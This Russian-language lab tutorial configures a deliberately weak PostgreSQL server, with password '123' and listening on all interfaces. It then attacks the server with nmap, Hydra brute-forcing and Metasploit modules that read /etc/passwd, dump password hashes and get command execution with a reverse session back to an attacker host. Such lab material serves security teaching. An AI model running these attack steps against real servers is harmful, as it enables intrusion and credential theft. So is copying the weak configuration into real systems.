Пентестинг на PostgreSQL (5432)

Дата: 31.08.2020. Автор: Игорь Б. Категории: Статьи по информационной безопасности

В этой статье пойдет речь о том, как настроить свой собственный уязвимый PostgreSQL для тестирования на проникновение в Ubuntu 20.04. Будет приведен практический пример использования программы и подробно описан правильный порядок действий при пентестинге.

Условия для проведения тестирования на проникновение:

  • ОС целевого компьютера: Ubuntu;
  • ОС специалиста: Kali Linux.

Установка и настройка PostgreSQL на Ubuntu 20.04

PostgreSQL — это продвинутая объектно-ориентированная реляционная база данных Open Source, которая также известна как Postgres. Она представляет собой мощную высокопроизводительную систему для управления базами данных, выпущенную под лицензией BSD.

Для того чтобы настроить PostgreSQL на своей платформе Ubuntu, существуют некоторые предварительные условия, необходимые для ее корректной установки.

  • Ubuntu 20.04;
  • Привилегии root.

Установка PostgreSQL и всех необходимых компонентов

PostgreSQL доступен в репозитории Ubuntu. Поэтому пользователь может просто установить его с помощью команды apt.

apt install postgresql postgresql-client

Во время установки в системе пользователя появится запрос, который попросит его подтвердить процесс установки, который он хочет либо продолжить, либо нет. Человеку нужно нажать на кнопку «Y», чтобы продолжить установку.

После завершения установки пользователь запустит службу PostgreSQL и добавит ее в загрузочную систему, введя следующую команду:

systemctl start postgresql.service
systemctl enable postgresql.service

Установка пароля пользователя PostgreSQL

Человек может создать и установить пароль пользователя для PostgreSQL. Используя следующую команду, он способен изменить его по умолчанию для PostgreSQL. Во время этого процесса в системе появится возможность ввести новый пароль. После этого человек увидит уведомление о том, что пароль успешно обновлен. Теперь пользователь войдет в базу данных как пользователь или рабочий shell, используя следующую команду:

passwd postgres
su -l postgres
psql

Создание базы данных и ролей пользователей

Пользователь может создавать новые базы данных и пользователей с помощью оболочки PostgreSQL следующим образом:

psql -c "alter user postgres with password '123' "
createuser -EPd ignite
createdb secret -O ignite
psql secret

Нужно ввести следующую команду, чтобы вывести список баз данных на экран:

psql -l

PostgreSQL по умолчанию прослушивает локальный интерфейс 127.0.0.1. Но для удаленного доступа пользователю следует внести некоторые изменения в конфигурационный файл. Для доступа к файлу конфигурации человек будет использовать следующую команду:

nano /etc/postgresql/12/main/postgresql.conf

В настройках подключения пользователь установит #listen_addresses= ‘*’.

Теперь человек перезапустит службу PostgreSQL, введя следующую команду:

service postgresql restart

Настала пора начинать тестирование на проникновение PostgreSQL

В этом разделе читатели узнают, как скомпрометировать учетные данные баз данных с помощью различных методов.

Стоит запустить атакующую машину Kali Linux.

Nmap

По умолчанию служба PostgreSQL работает на порту № 5432, с помощью NMAP пользователь сможет определить его состояние.

nmap -p5432 192.168.1.108

Как можно увидеть на картинке, сейчас открытое состояние для PostgreSQL на порту 5432.

Взлом пароля

Hydra — это распараллеленный взломщик учетных данных, который поддерживает множество протоколов для атаки. Он очень быстрый и гибкий, есть возможность добавить новые модули. Этот инструмент позволяет понять исследователям и специалистам по безопасности, насколько легко можно было бы получить несанкционированный доступ к системе даже удаленно.

Настала пора выполнить атаку brute-force с помощью следующей команды:

  • -L option включает словарь для параметра username;
  • -P options активирует словарь для списка паролей.
hydra -L user.txt -P pass.txt 192.168.1.108 postgres

Как читатели могут видеть выше, пользователь успешно сбросил учетные данные, которые он способен использовать для получения доступа к базе данных.

Удаленное подключение к базе данных

В Kali Linux по умолчанию установлена утилита psql, которая позволяет пользователям аутентифицироваться с базой данных PostgreSQL, если имя пользователя и пароль уже известны.

Как известно, у человека уже есть правильные учетные данные для доступа к базе данных:

psql -h 192.168.1.108 -U postgres

Metasploit

Metasploit идет предустановленной вместе с Kali Linux, поэтому первый шаг – это добраться до консоли программы.

Модуль 1: логическая функция ReadFile

Модуль postgres_readfile, если ему предоставлены учетные данные (например, учетная запись суперпользователя) для сервера PostgreSQL, будет считывать и отображать файлы по выбору пользователя на сервере.

msf > use auxiliary/admin/postgres/postgres_readfile
msf auxiliary(admin/postgres/postgres_readfile) > set rhosts 192.168.1.108
msf auxiliary(admin/postgres/postgres_readfile) > set rfile /etc/passwd
msf auxiliary(admin/postgres/postgres_readfile) > set password 123
msf auxiliary(admin/postgres/postgres_readfile) > exploit

Модуль 2: захват баннеров для Postgres_sql

Модуль postgres_sql, если ему предоставлены действительные учетные данные для сервера PostgreSQL, будет выполнять запросы по выбору пользователя и возвращать результаты.

msf > use auxiliary/admin/postgres/postgres_sql
msf auxiliary(admin/postgres/postgres_sql) > set rhosts 192.168.1.108
msf auxiliary(admin/postgres/postgres_sql) > set username ignite
msf auxiliary(admin/postgres/postgres_sql) > set password 123
msf auxiliary(admin/postgres/postgres_sql) > exploit

Модуль 3: сброс хэшей паролей

Поскольку у пользователя есть учетные данные администратора базы данных, то он использует этот однострочный эксплойт для сброса всех пользовательских хэшей на Metasploit:

msf use auxiliary/scanner/postgres/postgres_hashdump
msf auxiliary(scanner/postgres/postgres_hashdump) > set rhosts 192.168.1.108
msf auxiliary(scanner/postgres/postgres_hashdump) > set username postgres
msf auxiliary(scanner/postgres/postgres_hashdump) > set password 123
msf auxiliary(scanner/postgres/postgres_hashdump) > exploit

Модуль 4: Pwn Postgres Shell

Установки под управлением Postgres 9.3 и выше имеют особую функциональность, которая позволяет суперпользователю и пользователям с «pg_execute_server_program» передавать данные во внешнюю программу и из нее с помощью COPY. Это, в свою очередь, дает возможность выполнять произвольные команды, как если бы у человека был консольный доступ. Этот модуль пытается создать новую таблицу, а затем выполнить системные команды в контексте копирования выходных данных команды в нее.

msf > exploit/multi/postgres/postgres_copy_from_program_cmd_exec
msf exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set rhosts 192.168.1.108
msf exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set lhost 192.168.1.111
msf exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set username postgres
msf exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set password 123
msf exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > exploit

Теперь пользователь получил доступ к базе данных, он может наблюдать, что здесь доступен командный сеанс, а затем человеку следует обновить его до сеансов Мeterpreter.

msf exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > run
msf exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > sessions
msf exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > sessions -u 1
msf exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > sessions 2

У пользователя есть полный доступ к базе данных, таким образом, он может проверить наличие лазеек в postgres и представить полученные результаты администратору сети 😊 .

Автор переведенной статьи: Vijay.

Важно! Информация исключительно в учебных целях. Пожалуйста, соблюдайте законодательство и не применяйте данную информацию в незаконных целях.

Если вы нашли ошибку, пожалуйста, выделите фрагмент текста и нажмите Ctrl+Enter.

Поделиться ссылкой

Игорь Б

Об авторе Игорь Б

Автор на портале cisoclub.ru. Добавляйте ваш материал на сайт в разделе "Разместить публикацию".
Читать все записи автора Игорь Б

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *

четыре × три =